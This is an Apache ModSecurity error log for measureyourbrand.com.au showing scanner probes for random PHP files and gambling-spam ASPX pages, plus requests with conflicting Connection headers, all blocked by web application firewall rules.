[Tue Mar 31 09:00:50.963999 2026] [:error] [pid 36891:tid 36948] [client 4.223.111.108:12154] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ddpxi.php"] [unique_id "acscwpJhiMaJUqoqfl44DwAAAFg"]
[Tue Mar 31 09:00:51.490102 2026] [:error] [pid 36891:tid 36925] [client 4.223.111.108:12109] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ddpxi.php"] [unique_id "acscw5JhiMaJUqoqfl44EQAAAEE"]
[Tue Mar 31 09:00:52.053859 2026] [:error] [pid 36891:tid 36931] [client 4.223.111.108:12115] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ddpxi.php"] [unique_id "acscxJJhiMaJUqoqfl44EwAAAEc"]
[Tue Mar 31 09:00:52.583249 2026] [:error] [pid 36892:tid 36974] [client 4.223.111.108:12126] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdkfu.php"] [unique_id "acscxEyj9S4G0ek3O4LSzQAAAJc"]
[Tue Mar 31 09:00:53.108299 2026] [:error] [pid 36890:tid 36914] [client 4.223.111.108:12042] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdkfu.php"] [unique_id "acscxZ8FASPd_uH8z7dQ6wAAABM"]
[Tue Mar 31 09:00:53.632513 2026] [:error] [pid 36890:tid 36896] [client 4.223.111.108:11968] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdkfu.php"] [unique_id "acscxZ8FASPd_uH8z7dQ7QAAAAE"]
[Tue Mar 31 09:00:54.157819 2026] [:error] [pid 41421:tid 41427] [client 4.223.111.108:12018] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdkfu.php"] [unique_id "acscxhSaDjY9kKFtUQB1EwAAAQM"]
[Tue Mar 31 09:00:54.682841 2026] [:error] [pid 41421:tid 41435] [client 4.223.111.108:12147] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/IcC7p.php"] [unique_id "acscxhSaDjY9kKFtUQB1FQAAAQs"]
[Tue Mar 31 09:00:55.207122 2026] [:error] [pid 36982:tid 37000] [client 4.223.111.108:12077] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/IcC7p.php"] [unique_id "acscx_lMmeoQKN0r_GOJGwAAAM8"]
[Tue Mar 31 09:00:55.735959 2026] [:error] [pid 36890:tid 36906] [client 4.223.111.108:12146] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/IcC7p.php"] [unique_id "acscx58FASPd_uH8z7dQ-AAAAAs"]
[Tue Mar 31 09:00:56.260609 2026] [:error] [pid 36890:tid 36899] [client 4.223.111.108:12132] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/IcC7p.php"] [unique_id "acscyJ8FASPd_uH8z7dQ-wAAAAQ"]
[Tue Mar 31 09:00:56.786426 2026] [:error] [pid 41421:tid 41438] [client 4.223.111.108:12011] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dropdown.php"] [unique_id "acscyBSaDjY9kKFtUQB1FwAAAQ4"]
[Tue Mar 31 09:00:57.311311 2026] [:error] [pid 41421:tid 41442] [client 4.223.111.108:12111] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dropdown.php"] [unique_id "acscyRSaDjY9kKFtUQB1GgAAARI"]
[Tue Mar 31 09:00:57.837687 2026] [:error] [pid 36890:tid 36905] [client 4.223.111.108:12076] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dropdown.php"] [unique_id "acscyZ8FASPd_uH8z7dRBAAAAAo"]
[Tue Mar 31 09:00:58.388704 2026] [:error] [pid 36982:tid 37006] [client 4.223.111.108:12078] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dropdown.php"] [unique_id "acscyvlMmeoQKN0r_GOJHAAAANU"]
[Tue Mar 31 09:00:58.914823 2026] [:error] [pid 41421:tid 41437] [client 4.223.111.108:12144] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "acscyhSaDjY9kKFtUQB1IAAAAQ0"]
[Tue Mar 31 09:00:59.439701 2026] [:error] [pid 36982:tid 36986] [client 4.223.111.108:11987] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "acscy_lMmeoQKN0r_GOJHwAAAME"]
[Tue Mar 31 09:00:59.963973 2026] [:error] [pid 36891:tid 36928] [client 4.223.111.108:12089] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "acscy5JhiMaJUqoqfl44IAAAAEQ"]
[Tue Mar 31 09:01:00.490553 2026] [:error] [pid 36891:tid 36944] [client 4.223.111.108:12100] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Jcrop.php"] [unique_id "acsczJJhiMaJUqoqfl44JAAAAFQ"]
[Tue Mar 31 11:59:20.367291 2026] [:error] [pid 36982:tid 36997] [client 114.96.103.33:40823] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "actGmPlMmeoQKN0r_GMmMwAAAMw"]
[Tue Mar 31 15:10:16.955809 2026] [:error] [pid 36982:tid 37004] [client 43.159.148.221:41558] [client 43.159.148.221] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "actzWPlMmeoQKN0r_GPOkAAAANM"]
[Tue Mar 31 18:49:00.957349 2026] [:error] [pid 6548:tid 6567] [client 43.165.65.75:48198] [client 43.165.65.75] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acumnLgIz9HgMl9YwE4KcQAAAVE"]
[Tue Mar 31 19:38:34.801733 2026] [:error] [pid 36890:tid 36909] [client 43.167.245.18:49898] [client 43.167.245.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acuyOp8FASPd_uH8z7cvYwAAAA4"]
[Tue Mar 31 20:18:19.796154 2026] [:error] [pid 6548:tid 6551] [client 95.217.109.26:1572] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acu7i7gIz9HgMl9YwE5AOwAAAUE"]
[Tue Mar 31 20:18:22.401422 2026] [:error] [pid 41421:tid 41430] [client 95.217.109.26:1584] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "acu7jhSaDjY9kKFtUQCbwAAAAQY"]
[Tue Mar 31 20:18:24.912022 2026] [:error] [pid 36890:tid 36915] [client 95.217.109.26:1586] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "acu7kJ8FASPd_uH8z7c6ZQAAABQ"]
[Tue Mar 31 20:18:27.398872 2026] [:error] [pid 41421:tid 41444] [client 95.217.109.26:4162] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "acu7kxSaDjY9kKFtUQCbwgAAARQ"]
[Tue Mar 31 20:18:30.018989 2026] [:error] [pid 6548:tid 6552] [client 95.217.109.26:4164] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "acu7lrgIz9HgMl9YwE5ATgAAAUI"]
[Tue Mar 31 20:18:32.636028 2026] [:error] [pid 36982:tid 36995] [client 95.217.109.26:4176] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "acu7mPlMmeoQKN0r_GOxSgAAAMo"]
[Tue Mar 31 20:18:35.303118 2026] [:error] [pid 41421:tid 41424] [client 95.217.109.26:4188] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "acu7mxSaDjY9kKFtUQCb2QAAAQA"]
[Tue Mar 31 23:47:16.726358 2026] [:error] [pid 3175:tid 3194] [client 95.91.110.210:5610] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "acvshF9zJkJkv_bzqv5IYgAAAtE"]
[Tue Mar 31 23:47:19.379870 2026] [:error] [pid 36890:tid 36915] [client 95.91.110.210:49100] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acvsh58FASPd_uH8z7d2WgAAABQ"]
[Tue Mar 31 23:47:22.123274 2026] [:error] [pid 36890:tid 36911] [client 95.91.110.210:39242] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acvsip8FASPd_uH8z7d2YAAAABA"]
[Tue Mar 31 23:47:24.829408 2026] [:error] [pid 6548:tid 6551] [client 95.91.110.210:39252] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acvsjLgIz9HgMl9YwE574AAAAUE"]
[Tue Mar 31 23:47:27.381714 2026] [:error] [pid 3135:tid 3157] [client 95.91.110.210:39268] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acvsj-pETmuVjzalvCA8eAAAApM"]
[Tue Mar 31 23:47:30.102880 2026] [:error] [pid 41421:tid 41448] [client 95.91.110.210:39270] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "acvskhSaDjY9kKFtUQDfhgAAARg"]
[Tue Mar 31 23:47:32.828461 2026] [:error] [pid 36982:tid 37008] [client 95.91.110.210:40412] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "acvslPlMmeoQKN0r_GPV3wAAANc"]
[Tue Mar 31 23:47:35.459575 2026] [:error] [pid 36892:tid 36968] [client 95.91.110.210:40420] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "acvsl0yj9S4G0ek3O4K31wAAAJE"]
[Tue Mar 31 23:47:38.066423 2026] [:error] [pid 3175:tid 3177] [client 95.91.110.210:40432] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "acvsml9zJkJkv_bzqv5IdAAAAsA"]
[Tue Mar 31 23:47:40.724769 2026] [:error] [pid 43292:tid 43306] [client 95.91.110.210:40442] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "acvsnCTXGZp4F7tGGAPbOgAAAYQ"]
[Tue Mar 31 23:47:43.404182 2026] [:error] [pid 3135:tid 3141] [client 95.91.110.210:10924] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "acvsn-pETmuVjzalvCA8hAAAAoM"]
[Tue Mar 31 23:47:46.097357 2026] [:error] [pid 36982:tid 36989] [client 95.91.110.210:10928] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "acvsovlMmeoQKN0r_GPV5AAAAMQ"]
[Tue Mar 31 23:47:48.790912 2026] [:error] [pid 2836:tid 2854] [client 95.91.110.210:10934] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "acvspCpQtaf_GRF3iPfvAAAAAgs"]
[Tue Mar 31 23:47:51.567845 2026] [:error] [pid 3175:tid 3186] [client 95.91.110.210:10942] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "acvsp19zJkJkv_bzqv5ImgAAAsk"]
[Tue Mar 31 23:47:54.128521 2026] [:error] [pid 2836:tid 2861] [client 95.91.110.210:60716] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "acvsqipQtaf_GRF3iPfvDwAAAhI"]
[Tue Mar 31 23:47:56.796290 2026] [:error] [pid 2836:tid 2866] [client 95.91.110.210:60722] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "acvsrCpQtaf_GRF3iPfvEQAAAhc"]
[Tue Mar 31 23:47:59.256444 2026] [:error] [pid 41421:tid 41427] [client 95.91.110.210:60724] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acvsrxSaDjY9kKFtUQDfrgAAAQM"]
[Tue Mar 31 23:48:01.950195 2026] [:error] [pid 2836:tid 2859] [client 95.91.110.210:60732] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acvssSpQtaf_GRF3iPfvFAAAAhA"]
[Tue Mar 31 23:48:04.580083 2026] [:error] [pid 2836:tid 2844] [client 95.91.110.210:41430] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "acvstCpQtaf_GRF3iPfvGwAAAgE"]
[Tue Mar 31 23:48:07.232167 2026] [:error] [pid 41421:tid 41425] [client 95.91.110.210:41446] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acvstxSaDjY9kKFtUQDfxgAAAQE"]
[Tue Mar 31 23:48:09.959948 2026] [:error] [pid 2836:tid 2861] [client 95.91.110.210:41458] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acvsuSpQtaf_GRF3iPfvLAAAAhI"]
[Tue Mar 31 23:48:12.634496 2026] [:error] [pid 3175:tid 3178] [client 95.91.110.210:52222] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acvsvF9zJkJkv_bzqv5IywAAAsE"]
[Tue Mar 31 23:48:35.946359 2026] [:error] [pid 36892:tid 36951] [client 95.91.110.210:52236] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "acvs00yj9S4G0ek3O4K4GQAAAIA"]
